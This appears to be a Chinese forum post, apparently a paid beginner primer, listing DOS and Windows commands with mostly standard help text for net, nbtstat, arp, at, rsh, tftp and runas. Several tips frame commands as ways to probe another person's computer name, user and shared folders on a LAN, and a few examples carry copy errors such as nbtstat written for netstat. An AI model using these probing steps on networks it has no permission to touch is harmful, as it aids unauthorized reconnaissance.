***入門基礎知識(超全)

[sell=2]??DOS 常用命令：



dir 列文件名 deltree 刪除目錄樹 cls 清屏 cd 改變當前目錄
copy 拷貝文件 diskcopy 復制磁盤 del 刪除文件 format 格式化磁盤
edit 文本編輯 mem 查看內存狀況 md 建立子目錄 move 移動文件、改目錄名
more 分屏顯示 type 顯示文件內容 rd 刪除目錄 sys 制作DOS系統盤
ren 改變文件名 xcopy 拷貝目錄與文件 chkdsk 檢查磁盤 attrib 設置文件屬性
fdisk 硬盤分區 date 顯示及修改日期 label 設置卷標號 defrag 磁盤碎片整理
msd 系統檢測 path 設置搜尋目錄 share 文件共享 memmaker內存優化管理
help 幫助 restore 恢復備份文件 set 設置環境變量 time 顯示及修改時間
tree 列目錄樹 debug 隨機調試程序 doskey 重新調用DOS命令 prempt 設置提示符 undelete恢復被刪的文件 scandisk檢測、修理磁盤

不常用DOS命令
diskcomp磁盤比較　 append 設置非執行文件路徑
expand 還原DOS文件 fasthelp快速顯示幫助信息
fc 文件比較 interink啟動服務器
setver 設置版本 intersvr啟動客戶機
subst 路徑替換 qbasic Basic集成環境
vsafe 防病毒 unformat恢復已格式化的磁盤
ver 顯示DOS版本號 smartdrv設置磁盤加速器
vol 顯示磁盤卷標號 lh 將程序裝入高端內存
ctty 改變控制設備 emm386 擴展內存管理
常用命令具體介紹:



一、Dir



顯示目錄文件和子目錄列表，呵呵，這個當然是人人要知道的。
可以使用通配符（? 和 *），？表通配一個字符，*表通配任意字符
*.后綴
指定要查看后綴的文件。 上面其實也可以為“ . 后綴”,例如dir *.exe 等于dir .exe
/p
每次顯示一個列表屏幕。要查看下一屏，請按鍵盤上的任意鍵。
/w
以寬格式顯示列表，在每一行上最多顯示 5 個文件名或目錄名。
/s
列出指定目錄及所有子目錄中出現的每個指定的文件名。比win環境下的查找快多了
dir *.* -> a.txt 把當前目錄文件列表寫入a.txt
dir *.* /s -> a.txt 把當前目錄文件列表寫入a.txt，包括子目錄下文件。



二、Attrib



顯示、設置或刪除指派給文件或目錄的只讀、存檔、系統以及隱藏屬性。如果在不含參數的情況下使用，則 attrib 會顯示當前目錄中所有文件的屬性。
+r
設置只讀屬性。
-r
清除只讀屬性。
+a
設置存檔文件屬性。
-a
清除存檔文件屬性。
+s
設置系統屬性。
-s
清除系統屬性。
+h
設置隱藏屬性。
-h
清除隱藏屬性。
三、Cls



清除顯示在命令提示符窗口中的所有信息，并返回空窗口，即“清屏”



四、Exit
退出當前命令解釋程序并返回到系統。



五、format
格式化
/q
執行快速格式化。刪除以前已格式化卷的文件表和根目錄，但不在扇區之間掃描損壞區域。使用 /q 命令行選項應該僅格式化以前已格式化的完好的卷。



六、Ipconfig
顯示所有當前的 TCP/IP 網絡配置值、刷新動態主機配置協議 (DHCP) 和域名系統 (DNS) 設置。使用不帶參數的 ipconfig 可以顯示所有適配器的 IP 地址、子網掩碼、默認網關。
/all
顯示所有適配器的完整 TCP/IP 配置信息。
ipconfig 等價于 winipcfg，后者在ME、98 和 95 上可用。盡管 Windows XP 沒有提供象 winipcfg 命令一樣的圖形化界面，但可以使用“網絡連接”查看和更新 IP 地址。要做到這一點，請打開 網絡連接，右鍵單擊某一網絡連接，單擊“狀態”，然后單擊“支持”選項卡。
該命令最適用于配置為自動獲取 IP 地址的計算機。它使用戶可以確定哪些 TCP/IP 配置值是由 DHCP、自動專用 IP 地址 (APIPA) 和其他配置配置的。



七、md
創建目錄或子目錄



八、Move
將一個或多個文件從一個目錄移動到指定的目錄。



九、Nbtstat
顯示本地計算機和遠程計算機的基于 TCP/IP (NetBT) 協議的 NetBIOS 統計資料、NetBIOS 名稱表和 NetBIOS 名稱緩存。Nbtstat 可以刷新 NetBIOS 名稱緩存和注冊的 Windows Internet 名稱服務 (WINS) 名稱。使用不帶參數的 nbtstat 顯示幫助。Nbtstat 命令行參數區分大小寫。
-a remotename
顯示遠程計算機的 NetBIOS 名稱表，其中，RemoteName 是遠程計算機的 NetBIOS 計算機名稱。
-A IPAddress
顯示遠程計算機的 NetBIOS 名稱表，其名稱由遠程計算機的 IP 地址指定（以小數點分隔）。



十、Netstat
顯示活動的 TCP 連接、計算機偵聽的端口、以太網統計信息、IP 路由表、IPv4 統計信息（對于 IP、ICMP、TCP 和 UDP 協議）以及 IPv6 統計信息（對于 IPv6、ICMPv6、通過 IPv6 的 TCP 以及通過 IPv6 的 UDP 協議）。使用時如果不帶參數，netstat 顯示活動的 TCP 連接。
-a
顯示所有活動的 TCP 連接以及計算機偵聽的 TCP 和 UDP 端口。
十一、Ping
通過發送“網際消息控制協議 (ICMP)”回響請求消息來驗證與另一臺 TCP/IP 計算機的 IP 級連接。回響應答消息的接收情況將和往返過程的次數一起顯示出來。Ping 是用于檢測網絡連接性、可到達性和名稱解析的疑難問題的主要 TCP/IP 命令。如果不帶參數，ping 將顯示幫助。名稱和Ip地址解析是它的最簡單應用也是用的最多的。
-t
指定在中斷前 ping 可以持續發送回響請求信息到目的地。要中斷并顯示統計信息，請按 CTRL-BREAK。要中斷并退出 ping，請按 CTRL-C。
-lSize
指定發送的回響請求消息中“數據”字段的長度（以字節表示）。默認值為 32。size 的最大值是 65,527。



十二、Rename (Ren)
更改文件的名稱。
例如 ren *.abc *.cba



十三、Set
顯示、設置或刪除環境變量。如果沒有任何參數，set 命令將顯示當前環境設置。



十四、Shutdown
允許您關閉或重新啟動本地或遠程計算機。如果沒有使用參數，shutdown 將注銷當前用戶。
-m ComputerName
指定要關閉的計算機。
-t xx
將用于系統關閉的定時器設置為 xx 秒。默認值是 20 秒。
-l
注銷當前用戶，這是默認設置。-m ComputerName 優先。
-s
關閉本地計算機。
-r
關閉之后重新啟動。
-a
中止關閉。除了 -l 和 ComputerName 外，系統將忽略其它參數。在超時期間，您只可以使用 -a。



十五、System File Checker (sfc)
win下才有，在重新啟動計算機后掃描和驗證所有受保護的系統文件。
/scannow
立即掃描所有受保護的系統文件。
/scanonce
一次掃描所有受保護的系統文件。
/purgecache
立即清除“Windows 文件保護”文件高速緩存，并掃描所有受保護的系統文件。
/cachesize=x
設置“Windows 文件保護”文件高速緩存的大小，以 MB 為單位。



十六、type
顯示文本文件的內容。使用 type 命令查看文本文件或者是bat文件而不修改文件



十七、Tree
圖像化顯示路徑或驅動器中磁盤的目錄結構。



十八、Xcopy
復制文件和目錄，包括子目錄。
/s
復制非空的目錄和子目錄。如果省略 /s，xcopy 將在一個目錄中工作。
/e
復制所有子目錄，包括空目錄。



十九、copy
將一個或多個文件從一個位置復制到其他位置



二十、del
刪除指定文件。
ftp和bat批命令和net和telnet由于子命令太多，這里不說了，不過這幾個都是常用到的。網絡常用命令：



1.最基本，最常用的，測試物理網絡的
ping 192.168.10.88 －t ，參數－t是等待用戶去中斷測試



2.查看DNS、IP、Mac等
A.Win98：winipcfg
B.Win2000以上：Ipconfig/all



C.NSLOOKUP：如查看河北的DNS
C:\>nslookup
Default Server: ns.hesjptt.net.cn
Address: 202.99.160.68
>server 202.99.41.2 則將DNS改為了41.2
> pop.pcpop.com
Server: ns.hesjptt.net.cn
Address: 202.99.160.68



Non-authoritative answer:
Name: pop.pcpop.com
Address: 202.99.160.212



3.網絡信使
Net send 計算機名/IP|* (廣播) 傳送內容，注意不能跨網段
net stop messenger 停止信使服務，也可以在面板－服務修改
net start messenger 開始信使服務



4.探測對方對方計算機名，所在的組、域及當前用戶名
ping －a IP －t ，只顯示NetBios名
nbtstat -a 192.168.10.146 比較全的



5.netstat -a 顯示出你的計算機當前所開放的所有端口
netstat -s -e 比較詳細的顯示你的網絡資料，包括TCP、UDP、ICMP 和 IP的統計等



6.探測arp綁定（動態和靜態）列表，顯示所有連接了我的計算機，顯示對方IP和MAC地址
arp -a



7.在代理服務器端
捆綁IP和MAC地址，解決局域網內盜用IP：
ARP －s 192.168.10.59 00－50－ff－6c－08－75
解除網卡的IP與MAC地址的綁定：
arp -d 網卡IP



8.在網絡鄰居上隱藏你的計算機
net config server /hidden:yes
net config server /hidden:no 則為開啟



9.幾個net命令
A.顯示當前工作組服務器列表 net view，當不帶選項使用本命令時，它就會顯示當前域或網絡上的計算機上的列表。
比如：查看這個IP上的共享資源，就可以
C:\>net view 192.168.10.8
在 192.168.10.8 的共享資源
資源共享名 類型 用途 注釋
--------------------------------------
網站服務 Disk
命令成功完成。



B.查看計算機上的用戶帳號列表 net user
C.查看網絡鏈接 net use
例如：net use z: \\192.168.10.8\movie 將這個IP的movie共享目錄映射為本地的Z盤



D.記錄鏈接 net session
例如：
C:\>net session
計算機 用戶名 客戶類型 打開空閑時間
-------------------------------------------------------------------------------
\\192.168.10.110 ROME Windows 2000 2195 0 00:03:12



\\192.168.10.51 ROME Windows 2000 2195 0 00:00:39
命令成功完成。



10.路由跟蹤命令
A.tracert pop.pcpop.com
B.pathping pop.pcpop.com 除了顯示路由外，還提供325S的分析，計算丟失包的％



11.關于共享安全的幾個命令
A.查看你機器的共享資源 net share
B.手工刪除共享
net share c$ /d
net share d$ /d
net share ipc$ /d
net share admin$ /d
注意$后有空格。
C.增加一個共享：
c:\net share mymovie=e:\downloads\movie /users:1
mymovie 共享成功。
同時限制鏈接用戶數為1人。



12.在DOS行下設置靜態IP
A.設置靜態IP
CMD
netsh
netsh>int
interface>ip
interface ip>set add "本地鏈接" static IP地址 mask gateway
B.查看IP設置
interface ip>show address



Arp
顯示和修改"地址解析協議 (ARP)"緩存中的項目。ARP 緩存中包含一個或多個表，它們用于存儲 IP 地址及其經過解析的以太網或令牌環物理地址。計算機上安裝的每一個以太網或令牌環網絡適配器都有自己單獨的表。如果在沒有參數的情況下使用，則 arp 命令將顯示幫助信息。



語法
arp [-a [InetAddr] [-N IfaceAddr]] [-g [InetAddr] [-N IfaceAddr]] [-d InetAddr [IfaceAddr]] [-s InetAddr EtherAddr [IfaceAddr]]



參數
-a [InetAddr] [-N IfaceAddr]
顯示所有接口的當前 ARP 緩存表。要顯示指定 IP 地址的 ARP 緩存項，請使用帶有 InetAddr 參數的 arp -a，此處的 InetAddr 代表指定的 IP 地址。要顯示指定接口的 ARP 緩存表，請使用 -N IfaceAddr 參數，此處的 IfaceAddr 代表分配給指定接口的 IP 地址。-N 參數區分大小寫。
-g [InetAddr] [-N IfaceAddr]
與 -a 相同。
-d InetAddr [IfaceAddr]
刪除指定的 IP 地址項，此處的 InetAddr 代表 IP 地址。對于指定的接口，要刪除表中的某項，請使用 IfaceAddr 參數，此處的 IfaceAddr 代表分配給該接口的 IP 地址。要刪除所有項，請使用星號 (*) 通配符代替 InetAddr。
-s InetAddr EtherAddr [IfaceAddr]
向 ARP 緩存添加可將 IP 地址 InetAddr 解析成物理地址 EtherAddr 的靜態項。要向指定接口的表添加靜態 ARP 緩存項，請使用 IfaceAddr 參數，此處的 IfaceAddr 代表分配給該接口的 IP 地址。
/?
在命令提示符顯示幫助。
注釋
InetAddr 和 IfaceAddr 的 IP 地址用帶圓點的十進制記數法表示。
物理地址 EtherAddr 由六個字節組成，這些字節用十六進制記數法表示并且用連字符隔開（比如，00-AA-00-4F-2A-9C）。
通過 -s 參數添加的項屬于靜態項，它們不會 ARP 緩存中超時。如果終止 TCP/IP 協議后再啟動，這些項會被刪除。要創建永久的靜態 ARP 緩存項，請在批處理文件中使用適當的 arp 命令并通過"計劃任務程序"在啟動時運行該批處理文件。
只有當網際協議 (TCP/IP) 協議在 網絡連接中安裝為網絡適配器屬性的組件時，該命令才可用。
范例
要顯示所有接口的 ARP 緩存表，可鍵入：



arp -a



對于指派的 IP 地址為 10.0.0.99 的接口，要顯示其 ARP 緩存表，可鍵入：



arp -a -N 10.0.0.99



要添加將 IP 地址 10.0.0.80 解析成物理地址 00-AA-00-4F-2A-9C 的靜態 ARP 緩存項，可鍵入： arp -s 10.0.0.80 00-AA-00-4F-2A-9C



13.At
計劃在指定時間和日期在計算機上運行命令和程序。at 命令只能在"計劃"服務運行時使用。如果在沒有參數的情況下使用，則 at 列出已計劃的命令。



語法
at [\\ComputerName] [{[ID] [/delete]|/delete [/yes]}]



at [[\\ComputerName] hours:minutes [/interactive] [{/every:date[,...]|/next:date[,...]}] command]



參數
\\computername
指定遠程計算機。如果省略該參數，則 at 計劃本地計算機上的命令和程序。
ID
指定指派給已計劃命令的識別碼。
/delete
取消已計劃的命令。如果省略了 ID，則計算機中所有已計劃的命令將被取消。
/yes
刪除已計劃的事件時，對來自系統的所有詢問都回答"是"。
hours:minutes
指定命令運行的時間。該時間用 24 小時制（即從 00:00 [午夜] 到 23:59）的 小時: 分鐘格式表示。
/interactive
對于在運行 command 時登錄的用戶,允許 command 與該用戶的桌面進行交互。
/every:
在每個星期或月的指定日期（例如，每個星期四，或每月的第三天）運行 command 命令。
date
指定運行命令的日期。可以指定一周的某日或多日（即，鍵入 M、T、W、Th、F、S、Su）或一個月中的某日或多日（即，鍵入從 1 到31 之間的數字）。用逗號分隔多個日期項。如果省略了 date，則 at 使用該月的當前日。
/next:
在下一個指定日期（比如，下一個星期四）到來時運行 command。
command
指定要運行的 Windows 命令、程序（.exe 或 .com 文件）或批處理程序（.bat 或 .cmd 文件）。當命令需要路徑作為參數時，請使用絕對路徑，也就是從驅動器號開始的整個路徑。如果命令在遠程計算機上，請指定服務器和共享名的通用命名協定 (UNC) 符號，而不是遠程驅動器號。
/?
在命令提示符顯示幫助。
注釋
Schtasks 是功能更為強大的超集命令行計劃工具，它含有 at 命令行工具中的所有功能。對于所有的命令行計劃任務，都可以使用 schtasks 來替代 at。有關 schtasks 的詳細信息，請參閱"相關主題"。



使用 at
使用 at 命令時，要求您必須是本地 Administrators 組的成員。



加載 Cmd.exe
在運行命令之前，At 不會自動加載 Cmd.exe （命令解釋器）。如果沒有運行可執行文件 (.exe)，則在命令開頭必須使用如下所示的方法專門加載 Cmd.exe：



cmd /c dir > c:\test.out。



查看已計劃的命令
當不帶命令行選項使用 at 時，計劃任務會出現在類似于以下格式的表中：



Status ID Day Time Command Line
OK 1 Each F 4:30 PM net send group leads status due
OK 2 Each M 12:00 AM chkstor > check.file
OK 3 Each F 11:59 PM backup2.bat
包含標識號 (ID)
當在命令提示下使用帶有標識號 (ID) 的 at 命令時，單個任務項的信息會顯示在類似于下面的格式中：



Task ID： 1



Status:OK



Schedule:Each F



Time of Day:4:30 PM



Command:net send group leads status due當計劃帶有 at 的命令（尤其是帶有命令行選項的命令）后，要通過鍵入不帶命令行選項的 at 來檢查該命令語法是否輸入正確。如果顯示在"命令行"列中的信息不正確，請刪除該命令，然后重新鍵入它。如果還不正確，則可以在重新鍵入該命令時讓它少帶些命令行選項。 查看結果
使用 at 的已經計劃的命令作為后臺程序運行。運行結果不會顯示在計算機上。要將輸出重定向到文件，請使用重定向符號 (>。如果將輸出重定向到文件，則不論是在命令行還是在批處理文件中使用 at，都需要在重定向符號之前使用轉義符 (^)。例如，要重定向輸出到 Output.text 文件，則要鍵入：



at 14:45 c:\test.bat ^>c:\output.txt



執行命令的當前目錄為 systemroot 文件夾。



更改系統時間
在使用 at 命×××了要運行的命令之后，如果更改了計算機的系統時間，則通過鍵入不帶命令行選項的 at 可使 at 計劃程序與修改后的系統時間同步。



存儲命令
已計劃的命令存儲在注冊表中。這樣，如果重新啟動"計劃"服務，則不會丟失計劃任務。



連接到網絡驅動器
對于需要訪問網絡的計劃作業，請不要使用已重新定向的驅動器。"計劃"服務可能無法訪問這些重定向的驅動器，或者，在該計劃任務運行時如果有其他用戶登錄，則這些重定向的驅動器可能不會出現。因此，對于計劃作業，請使用 UNC 路徑。例如：



at 1:00pm my_backup \\server\share



請不要使用下述語法（其中 x: ?表示由用戶建立的連接）：



at 1:00pm my_backup x:



如果計劃了一個使用驅動器號的 at 命令來連接共享目錄，則應包含一個 at 命令以使在完成該驅動器的使用時斷開與驅動器的連接。如果不能斷開與驅動器的連接，則在命令提示下，所指派的驅動器號將不可用。



范例
要顯示 Marketing 服務器上已計劃的命令列表，請鍵入：



at \\marketing
要了解服務器 Corp 上標識號為 3 的命令的詳細信息，請鍵入：



at \\corp 3
要計劃在上午 8:00 于 Corp 服務器上運行網絡共享命令，并將該列表重定向到 Maintenance 服務器的 Corp.txt 文件（位于 Reports 共享目錄下）中，請鍵入：



at \\corp 08:00 cmd /c "net share reports=d:\marketing\reports >> \\maintenance\reports\corp.txt"
為了在每五天后的午夜將 Marketing 服務器的硬盤驅動器備份到磁帶驅動器，首先創建名為 Archive.cmd 的批處理程序（它含有備份命令），然后計劃該批處理程序的運行，為此請鍵入：



at \\marketing 00:00 /every:5,10,15,20,25,30 archive
要取消當前服務器上已計劃的所有命令，請按下述方法清除 at 計劃信息：



at /delete
如果要運行的命令不是可執行 (.exe) 文件，請按如下所示的方法在該命令之前使用 cmd /c 來加載 Cmd.exe：



cmd /c dir > c:\test.out。
14.Rsh
在運行 RSH 服務的遠程計算機上運行命令。Windows XP 和 Windows 2000 不提供 RSH 服務。Windows 2000 Server Resource Kit 提供名為 Rshsvc.exe 的 RSH 服務。使用不帶參數的 rsh 顯示幫助。



語法
rsh [Host] [-l UserName] [-n] [Command]



參數
Host
指定運行 command 的遠程計算機。
-l UserName
指定遠程計算機上使用的用戶名。在省略情況下，使用當前登錄用戶的名稱。
-n
將 rsh 的輸入重定向到 NULL 設備。這防止本地計算機命令結果的顯示。
Command
指定要運行的命令。
/?
在命令提示符顯示幫助。
注釋
標準操作
rsh 命令將標準輸入復制到遠程 command，將遠程 command 的標準輸出復制到其標準輸出，將遠程 command 的標準錯誤復制到其標準錯誤。Rsh 通常在遠程命令終止時終止。



使用重定向符號
為了使重定向在遠程計算機上發生，要以引號引住重定向符號（例如 ">>"）。如果不使用引號，重定向會在本地計算機發生。例如，以下命令將遠程文件"RemoteFile"附加到本地文件"LocalFile"中：



rsh othercomputer cat remotefile >> localfile



以下命令將遠程文件 Remotefile 附加到遠程文件 otherremotefile 中：



rsh othercomputer cat remotefile ">>" otherremotefile



使用 rsh
在使用已登錄到某個域并且運行 Windows XP Professional 的計算機時，該域的主域控制器必須可用于確認用戶名或 rsh 命令失敗。



.rhosts 文件
.rhosts 文件通常許可 UNIX 系統的網絡訪問權限。.rhosts 文件列出可以訪問遠程計算機的計算機名及關聯的登錄名。在正確配置了 .rhosts 文件的遠程計算機上運行 rcp、rexec 或 rsh 命令時，您不必提供遠程計算機的登錄和密碼信息。



.rhosts 文件是一個文本文件，該文件中每一行為一個條目。條目由本地計算機名、本地用戶名和有關該條目的所有注釋組成。每個條目均由制表符或空格分開，注釋用符號 (#) 打頭。例如：



host7 #This computer is in room 31A



.rhosts 文件必須在遠程計算機的用戶主目錄中。有關遠程計算機 .rhosts 文件特定執行的詳細信息，請參閱遠程系統的文檔。



只有當網際協議 (TCP/IP) 協議在 網絡連接中安裝為網絡適配器屬性的組件時，該命令才可用。
范例
要以名稱 admin1 在遠程計算機 vax1 上執行 telcon 命令，請鍵入：



rsh vax1 -l admin1 telcon



15.Tftp
向運行平凡文件傳輸協議 (TFTP) 服務或 daemon 的遠程計算機（尤其是運行 UNIX 的計算機）傳輸文件或從運行平凡文件傳輸協議 (TFTP) 服務或 daemon 的遠程計算機（尤其是運行 UNIX 的計算機）傳輸文件。



語法
tftp [-i] [Host] [{get | put}] [Source] [Destination]



參數
-i
指定二進制圖像傳送模式（也稱為八進制模式）。在二進制圖像模式下，文件以一個字節為單位進行傳輸。在傳送二進制文件時使用該模式。如果省略了 -i，文件將以 ASCII 模式傳送。這是默認的傳送模式。該模式將行尾 (EOL) 字符轉換為指定計算機的適當格式。傳送文本文件時使用該模式。如果文件傳送成功，將顯示數據傳輸率。
Host
指定本地或遠程計算機。
put
將本地計算機上的 Destination 文件傳送到遠程計算機上的 Source 文件。因為 TFTP 協議不支持用戶身份驗證，所以用戶必須登錄到遠程計算機，同時文件在遠程計算機上必須可寫。
get
將遠程計算機上的 Destination 文件傳送到本地計算機上的 Source 文件。
Source
指定要傳送的文件。
Destination
指定將文件傳送到的位置。如果省略了 Destination，將假定它與 Source 同名。
/?
在命令提示符顯示幫助。
注釋
使用 get 參數
如果將本地計算機上的文件 FileTwo 傳送到遠程計算機上的文件 FileOne，則指定 put。如果將遠程計算機上的文件 FileTwo 傳送到遠程計算機上的文件 FileOne，則指定 get。



Windows XP 或 Windows 2000 不提供一般用途的 TFTP 服務器。Windows 2000 提供的 TFTP 服務器服務只為 Windows XP 和 Windows 2000 客戶端計算機提供遠程引導功能。
只有當網際協議 (TCP/IP) 協議在 網絡連接中安裝為網絡適配器屬性的組件時，該命令才可用。
范例
要從本地計算機將文件 Users.txt 傳送到遠程計算機 vax1 上的 Users19.txt，請鍵入：



tftp vax1 put users.txt users19.txt
16.Nbtstat
顯示本地計算機和遠程計算機的基于 TCP/IP (NetBT) 協議的 NetBIOS 統計資料、NetBIOS 名稱表和 NetBIOS 名稱緩存。Nbtstat 可以刷新 NetBIOS 名稱緩存和注冊的 Windows Internet 名稱服務 (WINS) 名稱。使用不帶參數的 nbtstat 顯示幫助。



語法
nbtstat [-a RemoteName] [-A IPAddress] [-c] [-n] [-r] [-R] [-RR] [-s] [-S] [Interval]



參數
-a remotename
顯示遠程計算機的 NetBIOS 名稱表，其中，RemoteName 是遠程計算機的 NetBIOS 計算機名稱。NetBIOS 名稱表是運行在該計算機上的應用程序使用的 NetBIOS 名稱列表。
-A IPAddress
顯示遠程計算機的 NetBIOS 名稱表，其名稱由遠程計算機的 IP 地址指定（以小數點分隔）。
-c
顯示 NetBIOS 名稱緩存內容、NetBIOS 名稱表及其解析的各個地址。
-n
顯示本地計算機的 NetBIOS 名稱表。Registered 中的狀態表明該名稱是通過廣播或 WINS 服務器注冊的。
-r
顯示 NetBIOS 名稱解析統計資料。在配置為使用 WINS 的 Windows XP 計算機上，該參數將返回已通過廣播和 WINS 解析和注冊的名稱號碼。
-R
清除 NetBIOS 名稱緩存的內容并從 Lmhosts 文件中重新加載帶有 #PRE 標記的項目。
-RR
重新釋放并刷新通過 WINS 注冊的本地計算機的 NetBIOS 名稱。
-s
顯示 NetBIOS 客戶和服務器會話，并試圖將目標 IP 地址轉化為名稱。
-S
顯示 NetBIOS 客戶和服務器會話，只通過 IP 地址列出遠程計算機。
Interval
重新顯示選擇的統計資料，可以中斷每個顯示之間的 Interval 中指定的秒數。按 CTRL+C 停止重新顯示統計信息。如果省略該參數， netstat 將只顯示一次當前的配置信息。
/?
在命令提示符顯示幫助。
注釋
Nbtstat 命令行參數區分大小寫。
下表列出了由 Nbtstat 生成的列標題。 標題 說明
Input 接收的字節數。
Output 發送的字節數。
In/Out 該連接是否從計算機（傳出）或者其他計算機到本地計算機（傳入）。
Lift 名稱表緩存項在被清除之前所存留的時間。
Local Name 本地 NetBIOS 名稱與連接相關聯。
Remote Host 與遠程計算機相關的名稱或 IP 地址。
<03> 轉化為十六進制的 NetBIOS 名稱的最后一個字節。每個 NetBIOS 名稱長度均為 16 個字符。由于最后一個字節通常有特殊的意義，因為相同的名稱（只有最后一個字節不同）可能在一臺計算機上出現幾次。例如，<20> 在 ASCII 文本中是一個空格。
Type 名稱類型。名稱可以是單個名稱，也可以是組名稱。
Status 遠程計算機上是否在運行 NetBIOS 服務（"已注冊"），或同一計算機名是否已注冊了相同的服務（"沖突"）。
State NetBIOS 連接的狀態。



下表列出了可能的 NetBIOS 連接狀態。 狀態 說明
已連接 會話已建立。
關聯 連接的終結點已經被創建并與 IP 地址關聯。
正接聽 該終結點對內向連接可用。
空閑 該結束點已被打開單不能接收連接。
正在連接 會話處于連接階段。在此階段正在解析所選目標的由名稱到 IP 地址的映射。
接受 入站會話當前正在被接受，將在短期內連接。
重新連接 會話將試圖重新連接（如果第一次連接失敗）。
出站 會話正處于連接階段。此階段正在創建 TCP 連接。
入站 入站會話在連接期。
正在斷開 會話正在斷開連接。
已中斷連接 本地計算機已斷開連接，并正等待遠程系統的確認。



只有當網際協議 (TCP/IP) 協議在 網絡連接中安裝為網絡適配器屬性的組件時，該命令才可用。
范例
要顯示 NetBIOS 計算機名為 CORP07 的遠程計算機的 NetBIOS 名稱表，請鍵入：



nbtstat -a CORP07



要顯示所分配 IP 地址為 10.0.0.99 的遠程計算機的 NetBIOS 名稱表，請鍵入：



nbtstat -A 10.0.0.99



要顯示本地計算機的 NetBIOS 名稱表，請鍵入：



nbtstat -n



要顯示本地計算機 NetBIOS 名稱緩存的內容，請鍵入：



nbtstat -c



要清除 NetBIOS 名稱緩存并重新裝載本地 Lmhosts 文件中帶標記 #PRE 的項目，請鍵入：



nbtstat -R



要釋放通過 WINS 服務器注冊的 NetBIOS 名稱并對其重新注冊，請鍵入：



nbtstat -RR



要每隔 5 秒以 IP 地址顯示 NetBIOS 會話統計資料，請鍵入：



nbtstat -S 5



17.Netstat
顯示活動的 TCP 連接、計算機偵聽的端口、以太網統計信息、IP 路由表、IPv4 統計信息（對于 IP、ICMP、TCP 和 UDP 協議）以及 IPv6 統計信息（對于 IPv6、ICMPv6、通過 IPv6 的 TCP 以及通過 IPv6 的 UDP 協議）。使用時如果不帶參數，netstat 顯示活動的 TCP 連接。



語法
netstat [-a] [-e] [-n] [-o] [-p Protocol] [-r] [-s] [Interval]



參數
-a
顯示所有活動的 TCP 連接以及計算機偵聽的 TCP 和 UDP 端口。
-e
顯示以太網統計信息，如發送和接收的字節數、數據包數。該參數可以與 -s 結合使用。
-n
顯示活動的 TCP 連接，不過，只以數字形式表現地址和端口號，卻不嘗試確定名稱。
-o
顯示活動的 TCP 連接并包括每個連接的進程 ID (PID)。可以在 Windows 任務管理器中的"進程"選項卡上找到基于 PID 的應用程序。該參數可以與 -a、-n 和 -p 結合使用。
-p Protocol
顯示 Protocol 所指定的協議的連接。在這種情況下，Protocol 可以是 tcp、udp、tcpv6 或 udpv6。如果該參數與 -s 一起使用按協議顯示統計信息，則 Protocol 可以是 tcp、udp、icmp、ip、tcpv6、udpv6、icmpv6 或 ipv6。
-s
按協議顯示統計信息。默認情況下，顯示 TCP、UDP、ICMP 和 IP 協議的統計信息。如果安裝了 Windows XP 的 IPv6 協議，就會顯示有關 IPv6 上的 TCP、IPv6 上的 UDP、ICMPv6 和 IPv6 協議的統計信息。可以使用 -p 參數指定協議集。
-r
顯示 IP 路由表的內容。該參數與 route print 命令等價。
Interval
每隔 Interval 秒重新顯示一次選定的信息。按 CTRL+C 停止重新顯示統計信息。如果省略該參數，netstat 將只打印一次選定的信息。
/?
在命令提示符顯示幫助。
注釋
與該命令一起使用的參數必須以連字符 (-) 而不是以短斜線 (/) 作為前綴。
Netstat 提供下列統計信息：
Proto
協議的名稱（TCP 或 UDP）。



Local Address
本地計算機的 IP 地址和正在使用的端口號。如果不指定 -n 參數，就顯示與 IP 地址和端口的名稱對應的本地計算機名稱。如果端口尚未建立，端口以星號（*）顯示。



Foreign Address
連接該插槽的遠程計算機的 IP 地址和端口號碼。如果不指定 -n 參數，就顯示與 IP 地址和端口對應的名稱。如果端口尚未建立，端口以星號（*）顯示。



(state)
表明 TCP 連接的狀態。可能的狀態如下：



CLOSE_WAIT



CLOSED



ESTABLISHED



FIN_WAIT_1



FIN_WAIT_2



LAST_ACK



LISTEN



SYN_RECEIVED



SYN_SEND



TIMED_WAIT



有關 TCP 連接狀態的信息，請參閱 RFC 793。



只有當網際協議 (TCP/IP) 協議在 網絡連接中安裝為網絡適配器屬性的組件時，該命令才可用。
范例
要想顯示以太網統計信息和所有協議的統計信息，請鍵入下列命令：



netstat -e -s



要想僅顯示 TCP 和 UDP 協議的統計信息，請鍵入下列命令：



netstat -s -p tcp udp



要想每 5 秒鐘顯示一次活動的 TCP 連接和進程 ID，請鍵入下列命令：



nbtstat -o 5



要想以數字形式顯示活動的 TCP 連接和進程 ID，請鍵入下列命令：



nbtstat -n -o



18.Runas
允許用戶用其他權限運行指定的工具和程序，而不是用戶當前登錄提供的權限。



語法
runas [{/profile|/noprofile}] [/env] [/netonly] [/smartcard] [/showtrustlevels] [/trustlevel] /user:UserAccountName program



參數
/profile
加載用戶的配置文件。/profile 是默認值。
/no profile
/noprofile 指定不加載用戶的配置文件。這使應用程序載入的更加快速，但是在一些應用程序中也會引起錯誤。
/env
指定當前使用的網絡環境，而不是用戶的本地環境。
/netonly
指明指定的用戶信息只用于遠程訪問。
/smartcard
/smartcard 表示憑據是否是由智能卡提供的。
/showtrustlevels
列出 /trustlevel 開關項。
/trustlevel
指定應用程序運行所在的授權級別。使用 /showtrustlevels 查看可用的信任級別。
/user:UserAccountName
指定在其下運行程序的用戶帳戶的名稱。用戶帳戶的格式應是 user@domain 或 domain\user。
程序
指定要用在 /user 中指定的帳戶運行的程序或命令。
/?
在命令提示符顯示幫助。
注釋
管理員可以使用一個權限受限制的帳戶執行日常、非管理性的任務，只有在執行特定管理任務時，才使用一個權限更大的帳戶。要不經過注銷再重新登錄就完成這樣的任務，可以用一般帳戶登錄，然后使用 runas 命令來運行需要更大權限的工具。
有關 runas 命令的使用范例，請參閱"相關主題"。
盡管 runas 通常由 Administrator 帳戶使用，但并非僅限于 Administrator 帳戶。任何擁有多個帳戶的用戶均可以利用備用憑據，使用 runas 運行程序、MMC 控制臺或"控制面板"項。
如果要在計算機上使用 Administrator 帳戶，對于 /user:，鍵入下列參數之一：
/user:AdministratorAccountName@ComputerName



/user:ComputerName\AdministratorAccountName



如果想以域管理員身份使用這個命令，鍵入下列參數之一：
/user:AdministratorAccountName@DomainName



/useromainName\AdministratorAccountName



runas 命令允許您運行程序 (*.exe)、保存的 MMC 控制臺 (*.msc)、程序和保存的 MMC 控制臺的快捷方式及"控制面板"項。作為另一組（例如"Users"或"ower Users"組）的成員登錄到計算機時，可以以管理員的身份運行。
